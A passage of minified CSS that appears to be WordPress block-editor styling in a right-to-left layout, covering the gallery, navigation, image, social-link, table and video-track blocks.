transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{display:block;max-width:100%;background:transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{position:absolute;top:0;left:0;bottom:0;right:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{display:none}.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{border:1px dashed #ddd;padding:10px}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{border:1px solid #ddd;padding:1em 0;margin:0;word-wrap:break-word}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{margin:0;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{border-color:transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{display:block;margin:0 auto;width:32px;height:32px;font-size:32px}.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{content:"";display:table;clear:both}.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce .gallery a{cursor:default}.wp-block-freeform.block-library-rich-text__tinymce .gallery{margin:auto -6px;padding:6px 0;line-height:1;overflow-x:hidden}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{float:right;margin:0;text-align:center;padding:6px;box-sizing:border-box}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{margin:0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{font-size:13px;margin:4px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{width:100%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{width:50%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{width:33.3333333333%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{width:25%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{width:20%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{width:16.6666666667%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{width:14.2857142857%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{width:12.5%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{width:11.1111111111%}.wp-block-freeform.block-library-rich-text__tinymce .gallery img{max-width:100%;height:auto;border:none;padding:0}div[data-type="core/freeform"]:before{transition:border-color .1s linear,box-shadow .1s linear;border:1px solid #ddd;outline:1px solid transparent}@media (prefers-reduced-motion:reduce){div[data-type="core/freeform"]:before{transition-duration:0s}}div[data-type="core/freeform"].is-selected:before{border-color:#1e1e1e}div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{margin-top:0;padding-top:0}div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{content:"";display:table;clear:both}.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i,.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i{color:#1e1e1e}.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{margin-left:0;margin-right:8px}.mce-toolbar-grp .mce-btn i{font-style:normal}.block-library-classic__toolbar{display:none;width:auto;position:-webkit-sticky;position:sticky;z-index:31;top:0;border:1px solid #ddd;border-bottom:none;border-radius:2px;margin:0 0 8px;padding:0}div[data-type="core/freeform"].is-selected .block-library-classic__toolbar,div[data-type="core/freeform"].is-typing .block-library-classic__toolbar{display:block;border-color:#1e1e1e}.block-library-classic__toolbar .mce-tinymce{box-shadow:none}@media (min-width:600px){.block-library-classic__toolbar{padding:0}}.block-library-classic__toolbar:empty{display:block;background:#f5f5f5;border-bottom:1px solid #e2e4e7}.block-library-classic__toolbar:empty:before{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;content:attr(data-placeholder);color:#555d66;line-height:37px;padding:14px}.block-library-classic__toolbar div.mce-toolbar-grp{border-bottom:1px solid #1e1e1e}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{height:auto!important;width:100%!important}.block-library-classic__toolbar .mce-container-body.mce-abs-layout{overflow:visible}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{position:static}.block-library-classic__toolbar .mce-toolbar-grp>div{padding:1px 3px}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}.wp-block-gallery li{list-style-type:none}.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}figure.wp-block-gallery{display:block;margin:0}.blocks-gallery-grid.blocks-gallery-grid{padding-right:0;margin-right:0;margin-bottom:0}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";outline:2px solid transparent;position:absolute;top:0;left:0;bottom:0;right:0;z-index:1;pointer-events:none}.blocks-gallery-item figure.is-selected figcaption{z-index:2}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{display:inline-flex}.blocks-gallery-item .block-editor-media-placeholder{margin:0;height:100%}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.block-library-gallery-item__inline-menu{display:none;position:absolute;top:-2px;margin:8px;z-index:20;transition:box-shadow .2s ease-out;border-radius:2px;background:#fff;border:1px solid #1e1e1e}@media (prefers-reduced-motion:reduce){.block-library-gallery-item__inline-menu{transition-duration:0s}}.block-library-gallery-item__inline-menu:hover{box-shadow:0 2px 6px rgba(0,0,0,.05)}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{padding:2px}}.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){border:none;box-shadow:none}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{padding:0;width:inherit;height:inherit}}.block-library-gallery-item__inline-menu.is-left{right:-2px}.block-library-gallery-item__inline-menu.is-right{left:-2px}.blocks-gallery-item .components-spinner{position:absolute;top:50%;right:50%;margin-top:-9px;margin-right:-9px}.wp-block-group .block-editor-block-list__insertion-point{right:0;left:0}.wp-block-group>.wp-block-group__inner-container>[data-align=full]{margin-right:auto;margin-left:auto}.wp-block-group.has-background>.wp-block-group__inner-container>[data-align=full]{margin-right:-30px;width:calc(100% + 60px)}[data-align=full] .wp-block-group>.wp-block-group__inner-container>.wp-block{padding-right:14px;padding-left:14px}@media (min-width:600px){[data-align=full] .wp-block-group>.wp-block-group__inner-container>.wp-block{padding-right:0;padding-left:0}}[data-align=full] .wp-block-group>.wp-block-group__inner-container>[data-align=full]{padding-left:0;padding-right:0;right:0;width:100%;max-width:none}[data-align=full] .wp-block-group.has-background>.wp-block-group__inner-container>[data-align=full]{width:calc(100% + 60px)}[data-type="core/group"].is-selected .block-list-appender{margin-right:0;margin-left:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-top:18px;margin-bottom:18px}.block-library-heading-level-dropdown .components-popover__content{min-width:230px}.block-library-heading-level-dropdown .components-popover__content>div{padding:0}.block-library-heading-level-toolbar{border:none}.block-library-html__edit{margin-bottom:28px}.block-library-html__edit .block-library-html__preview-overlay{position:absolute;width:100%;height:100%;top:0;right:0}.block-library-html__edit .block-editor-plain-text{font-family:Menlo,Consolas,monaco,monospace;color:#1e1e1e;padding:.8em 1em;border:1px solid #ddd;border-radius:4px;max-height:250px;font-size:16px}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px}}.block-library-html__edit .block-editor-plain-text:focus{box-shadow:none}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{position:absolute;top:50%;right:50%;margin-top:-9px;margin-right:-9px}.wp-block-image:not(.is-style-rounded)>div{border-radius:inherit}.wp-block-image .components-resizable-box__container{display:inline-block}.wp-block-image .components-resizable-box__container img{display:block;width:inherit;height:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{position:absolute;right:0;left:0;margin:-1px 0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{display:table-caption;caption-side:bottom}.wp-block[data-align=left]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=right]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=center]>.wp-block-image{margin-right:auto;margin-left:auto;text-align:center}.wp-block-image__crop-area{position:relative;max-width:100%;width:100%}.wp-block-image__crop-icon{padding:0 8px;min-width:48px;display:flex;justify-content:center;align-items:center}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{overflow:visible;min-width:260px}.wp-block-image__zoom .components-range-control{flex:1}.wp-block-image__zoom .components-base-control__field{display:flex;margin-bottom:0;flex-direction:column;align-items:flex-start}.wp-block-image__aspect-ratio{height:46px;margin-bottom:-8px;display:flex;align-items:center}.wp-block-image__aspect-ratio .components-button{width:36px;padding-right:0;padding-left:0}.wp-block-latest-comments.has-avatars .avatar{margin-left:10px}.wp-block-latest-comments__comment-excerpt p{font-size:14px;line-height:1.8;margin:5px 0 20px;padding-top:0}.wp-block-latest-comments.has-avatars .wp-block-latest-comments__comment{min-height:36px}.wp-block-latest-posts{padding-right:2.5em}.wp-block-latest-posts.is-grid{padding-right:0}.wp-block-latest-posts li a>div{display:inline}.edit-post-visual-editor .wp-block-latest-posts.is-grid li{margin-bottom:20px}ol.has-background.has-background,ul.has-background.has-background{padding:1.25em 2.375em}.wp-block-media-text .__resizable_base__{-ms-grid-column:1;-ms-grid-column-span:2;grid-column:1/span 2;-ms-grid-row:2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.block-editor-block-list__block[data-type="core/more"]{max-width:100%;text-align:center;margin-top:28px;margin-bottom:28px}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{position:relative;font-size:13px;text-transform:uppercase;font-weight:600;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;color:#757575;border:none;box-shadow:none;white-space:nowrap;text-align:center;margin:0;border-radius:4px;background:#fff;padding:6px 8px;height:24px;max-width:100%}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{content:"";position:absolute;top:50%;right:0;left:0;border-top:3px dashed #ccc}.editor-styles-wrapper .wp-block-navigation ol,.editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-right:0;padding-right:0}.editor-styles-wrapper .wp-block-navigation .block-editor-block-list__block{margin:0}.wp-block-navigation .block-list-appender{display:inline-flex;-ms-grid-row-align:center;align-self:center;width:24px;height:24px}.wp-block-navigation.is-vertical .block-list-appender{margin:8px}.wp-block-navigation__inserter-content{padding:16px}.wp-block-navigation__container{min-height:44px}.wp-block-navigation__container.is-parent-of-selected-block{visibility:visible;opacity:1}.has-child:hover>.wp-block-navigation__container,.has-child>.wp-block-navigation__container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__container,.has-child.is-selected>.wp-block-navigation__container,.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__container{opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{height:30px;position:relative;margin:0 auto;padding:3px;display:flex;align-items:center;border-radius:4px}.block-library-colors-selector .block-library-colors-selector__state-selection{margin-right:auto;margin-left:auto;border-radius:11px;box-shadow:inset 0 0 0 1px rgba(0,0,0,.2);width:22px;min-width:22px;height:22px;min-height:22px;line-height:20px;padding:2px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:left;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.is-editing>.wp-block-navigation__container{visibility:visible;opacity:1;display:flex;flex-direction:column}.wp-block-navigation-placeholder{min-height:44px}.wp-block-navigation-placeholder .components-spinner{margin-top:-4px;margin-right:4px;vertical-align:middle;margin-left:7px}.wp-block-navigation-placeholder .components-custom-select-control__button{height:auto;padding:.375rem 1.5rem .375rem .75rem;min-width:13.75rem}.wp-block-navigation-placeholder .components-custom-select-control.has-menus .components-custom-select-control__item.is-create-empty-option{position:relative;margin-top:20px}.wp-block-navigation-placeholder .components-custom-select-control.has-menus .components-custom-select-control__item.is-create-empty-option:before{content:"";position:absolute;top:-10px;right:25px;left:25px;height:15px;border-top:1px solid #757575}.wp-block-navigation-placeholder .components-custom-select-control__label{margin-bottom:1rem;font-size:13px;font-weight:400}.wp-block-navigation-placeholder .components-custom-select-control__menu{margin:0;max-height:none;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.wp-block-navigation .block-editor-button-block-appender{justify-content:flex-start}.wp-block-navigation-placeholder__preview{position:absolute;top:0;left:0;bottom:0;right:0;display:flex;flex-direction:row;align-items:center;transition:all .1s ease-in-out}@media (prefers-reduced-motion:reduce){.wp-block-navigation-placeholder__preview{transition-duration:0s}}.wp-block-navigation-placeholder__preview .wp-block-navigation-link.wp-block-navigation-link{border-radius:2px;background:currentColor;min-width:72px;height:16px;margin:12px 0 12px 24px}.wp-block-navigation-placeholder__preview .wp-block-navigation-link.wp-block-navigation-link,.wp-block-navigation-placeholder__preview svg{opacity:.3}.is-selected .wp-block-navigation-placeholder__preview{opacity:.2}.wp-block-navigation-placeholder__controls{padding:4px 8px;border-radius:2px;background-color:#fff;box-shadow:inset 0 0 0 1px #1e1e1e;flex-direction:row;align-items:center;display:none;position:relative;z-index:1}.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{flex-direction:column}.is-selected.is-vertical .wp-block-navigation-placeholder__controls{display:inline-flex}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{margin-left:12px;height:36px}.is-vertical .wp-block-navigation-placeholder,.is-vertical .wp-block-navigation-placeholder__controls,.is-vertical .wp-block-navigation-placeholder__preview{min-height:156px}.is-vertical .wp-block-navigation-placeholder__controls,.is-vertical .wp-block-navigation-placeholder__preview{flex-direction:column;align-items:flex-start}.wp-block-navigation-placeholder__actions{display:flex;font-size:13px}.wp-block-navigation-placeholder__actions .components-button.components-dropdown-menu__toggle.has-icon{padding:6px 12px;display:flex;flex-direction:row-reverse}.wp-block-navigation-link__container,.wp-block-navigation-link__field .components-text-control__input.components-text-control__input{border-radius:0;line-height:36px;min-height:36px}.wp-block-navigation-link .block-editor-block-list__layout{display:block}.wp-block-navigation-link.is-editing,.wp-block-navigation-link.is-selected{min-width:20px}.wp-block-navigation-link .block-editor-rich-text__editable.is-selected:not(.keep-placeholder-on-focus):not(:focus)[data-rich-text-placeholder]:after{display:inline-block}.wp-block-navigation-link .block-list-appender{margin:10px 10px 16px 16px}.wp-block-navigation-link__separator{margin:8px 0;border-top:1px solid #ddd}.components-popover.wp-block-navigation-link__dropdown-content{margin-top:-1px;margin-right:-4px}.wp-block-navigation-link__dropdown-content .components-popover__content>div{padding:8px 0}.wp-block-navigation .block-editor-block-list__block[data-type="core/navigation-link"]>.block-editor-block-list__insertion-point{display:none}.block-editor-block-list__block[data-type="core/nextpage"]{max-width:100%;text-align:center;margin-top:28px;margin-bottom:28px}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{font-size:13px;position:relative;text-transform:uppercase;font-weight:600;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;color:#757575;border-radius:4px;background:#fff;padding:6px 8px;height:24px}.wp-block-nextpage:before{content:"";position:absolute;top:50%;right:0;left:0;border-top:3px dashed #ccc}.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.wp-block-post-content__placeholder{height:100px;border:1px dashed;display:flex;justify-content:center;align-items:center}.wp-block-post-content__placeholder span{font-style:italic}.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline-block}.wp-block-post-author{display:flex;flex-wrap:wrap}.wp-block-post-author .wp-block-post-author__byline{font-size:.5em;margin-top:0;position:relative;font-style:normal}.wp-block-post-author .wp-block-post-author__content{flex-grow:1;flex-basis:0}.wp-block-post-author .wp-block-post-author__avatar img{margin:0}.wp-block-post-author .wp-block-post-author__avatar{margin-bottom:-8px}.wp-block-post-author .wp-block-post-author__name{margin:0;font-weight:700}.wp-block-post-author .wp-block-post-author__bio{margin:0 0 8px;font-size:.7em}.wp-block[data-align=left]>.wp-block-pullquote p,.wp-block[data-align=right]>.wp-block-pullquote p{font-size:20px}.wp-block-pullquote blockquote p{font-size:28px;line-height:1.6}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{text-transform:none;font-style:normal}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit}.wp-block-quote__citation{font-size:13px}.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form{display:flex;align-items:stretch}.wp-block-rss__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.wp-block-rss__placeholder-form>*{margin-bottom:0}}.wp-block-rss__placeholder-input{display:flex;align-items:stretch;flex-grow:1}.wp-block-rss__placeholder-input .components-base-control__field{display:flex;align-items:stretch;flex-grow:1;margin:0 0 0 8px}.wp-block-search .wp-block-search__input{padding:8px}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper{padding:4px}.wp-block-search .wp-block-search__button{height:auto;border-radius:initial}.wp-block-search .wp-block-search__button.wp-block-search__button.wp-block-search__button{padding:6px 10px}.wp-block-search__components-button-group{margin-top:10px}.block-editor-block-list__block[data-type="core/separator"]{padding-top:.1px;padding-bottom:.1px}[data-type="core/shortcode"] .block-editor-plain-text{max-height:250px}[data-type="core/shortcode"].components-placeholder{min-height:0}.blocks-shortcode__textarea{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal}@media (prefers-reduced-motion:reduce){.blocks-shortcode__textarea{transition-duration:0s}}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px;line-height:normal}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.blocks-shortcode__textarea::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.blocks-shortcode__textarea::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.blocks-shortcode__textarea:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .blocks-shortcode__textarea::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .blocks-shortcode__textarea::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .blocks-shortcode__textarea:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.wp-block[data-align=center]>.wp-block-site-logo{margin-right:auto;margin-left:auto;text-align:center}.wp-block-site-logo.is-resized{display:table}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo .custom-logo-link.is-transient img{opacity:.3}.wp-block-site-logo img{display:block;max-width:100%}.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-links .wp-social-link button{font-size:inherit;color:currentColor;height:auto;line-height:0;padding:.25em}.wp-block-social-links.is-style-pill-shape .wp-social-link button{padding-right:.66667em;padding-left:.66667em}.wp-block-social-links div.block-editor-url-input{display:inline-block;margin-right:8px}.wp-social-link:hover{transform:none}.editor-styles-wrapper .wp-block-social-links{padding:0}.wp-block-social-links__social-placeholder{display:flex;opacity:.8;transition:all .1s ease-in-out}@media (prefers-reduced-motion:reduce){.wp-block-social-links__social-placeholder{transition-duration:0s}}.is-selected .wp-block-social-links__social-placeholder{opacity:.1}.wp-block-social-links__social-placeholder>.wp-social-link{padding-right:0!important;margin-right:0!important;padding-left:0!important;margin-left:0!important;width:0!important;visibility:hidden}.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{display:flex;position:absolute}.wp-block-social-links__social-placeholder+.block-list-appender,.wp-block-social-links__social-placeholder .wp-social-link{padding:.25em}.is-style-pill-shape .wp-block-social-links__social-placeholder+.block-list-appender,.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{padding-right:.66667em;padding-left:.66667em}.wp-block-social-links__social-placeholder .wp-social-link:before{content:"";display:block;width:1em;height:1em;border-radius:50%}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{background:currentColor}.wp-block-social-links .block-list-appender{display:flex;align-items:center;justify-content:center;margin:0}.wp-block-social-links .block-list-appender:before{content:"";display:block;width:1em;height:1em}.wp-block-social-links .block-list-appender .block-editor-inserter{position:absolute}.wp-block-social-links .block-list-appender .block-editor-button-block-appender.block-list-appender__toggle{margin:0}.wp-block-social-links.is-style-logos-only .block-list-appender{padding:4px}.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}@media (prefers-reduced-motion:reduce){.wp-social-link.wp-social-link__is-incomplete{transition-duration:0s}}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}[data-type="core/social-links"] .wp-social-link:focus{opacity:1;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;position:absolute;width:100%;height:24px;transform:translateY(-12px)}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container{background:rgba(0,0,0,.1)}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container{background:hsla(0,0%,100%,.15)}.block-library-spacer__resize-container{clear:both;margin-bottom:28px}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.edit-post-visual-editor p.wp-block-subhead{color:#555;font-size:1.1em;font-style:italic}.wp-block-table{margin:0}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table table{border-collapse:collapse}.wp-block-table td,.wp-block-table th{border:1px solid}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);border-style:double}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.blocks-table__placeholder-form.blocks-table__placeholder-form{display:flex;flex-direction:column;align-items:flex-start}.blocks-table__placeholder-form.blocks-table__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{flex-direction:row;align-items:flex-end}.blocks-table__placeholder-form.blocks-table__placeholder-form>*{margin-bottom:0}}.blocks-table__placeholder-input{width:112px;margin-left:8px;margin-bottom:0}.blocks-table__placeholder-input input{height:36px}.blocks-table__placeholder-input .components-base-control__field{margin-bottom:0}.wp-block-tag-cloud a{display:inline-block;margin-left:5px}.wp-block-tag-cloud span{display:inline-block;margin-right:5px;color:#757575;text-decoration:none}.wp-block-template-part__placeholder-preview-dropdown-content .components-popover__content,.wp-block-template-part__preview-dropdown-content .components-popover__content{min-width:320px;padding:0}.wp-block-template-part__selection-preview-search-form{border-bottom:1px solid #ddd}.wp-block-template-part__selection-preview-container{background:#fff;padding-bottom:16px}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item{border-radius:2px;cursor:pointer;margin-top:16px;transition:all .05s ease-in-out;border:1px solid transparent;width:100%;background-color:#fff}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item:hover{border:1px solid var(--wp-admin-theme-color)}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item:focus{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item.is-placeholder{min-height:100px}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-preview-item-title{padding:4px;font-size:12px;text-align:right}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-panel-group-header{padding:16px 16px 0}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-panel-group-content{padding:0 16px}.wp-block-template-part__selection-preview-container .wp-block-template-part__selection-panel-group-title{color:var(--wp-admin-theme-color);text-transform:uppercase;font-size:11px;font-weight:500}.wp-block-template-part__block-control-group{display:flex}.wp-block-template-part__block-control-group .wp-block-template-part__name-panel{outline:1px solid transparent;padding:8px 12px 8px 0}.wp-block-template-part__block-control-group .wp-block-template-part__name-panel .components-base-control__field{align-items:center;display:flex;margin-bottom:0}.wp-block-template-part__block-control-group .wp-block-template-part__name-panel .components-base-control__label{margin-bottom:0;margin-left:8px}.is-dark-theme .is-navigate-mode .is-selected .wp-block-template-part__name-panel,.is-navigate-mode .is-selected .wp-block-template-part__name-panel{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.block-editor-block-list__block[data-type="core/template-part"].has-child-selected:after,.block-editor-block-list__block[data-type="core/template-part"].is-selected:after{top:1px;bottom:1px;right:1px;left:1px;border-radius:1px;box-shadow:0 0 0 1px #1e1e1e}.wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd}pre.wp-block-verse{color:#1e1e1e;padding:1em}.wp-block[data-align=center]>.wp-block-video{text-align:center}.editor-video-poster-control .components-base-control__label{display:block}.editor-video-poster-control .components-button{margin-left:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor>.components-popover__content{width:360px}.block-library-video-tracks-editor__track-list-track{display:flex;place-content:space-between;align-items:baseline;padding-right:12px}.block-library-video-tracks-editor__single-track-editor-label-language{display:flex;margin-top:12px}.block-library-video-tracks-editor__single-track-editor-label-language>.components-base-control{width:50%}.block-library-video-tracks-editor__single-track-editor-label-language>.components-base-control:first-child{margin-left:16px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-buttons-container{display:flex;place-content:space-between;margin-top:32px}.block-library-video-tracks-editor__single-track-editor-edit-track-label{margin-top:4px;margin-bottom:12px;color:#757575;text-transform:uppercase;font-size:11px;font-weight:500;display:block}.block-library-video-tracks-editor>.components-popover__content>div,.block-library-video-tracks-editor__add-tracks-container 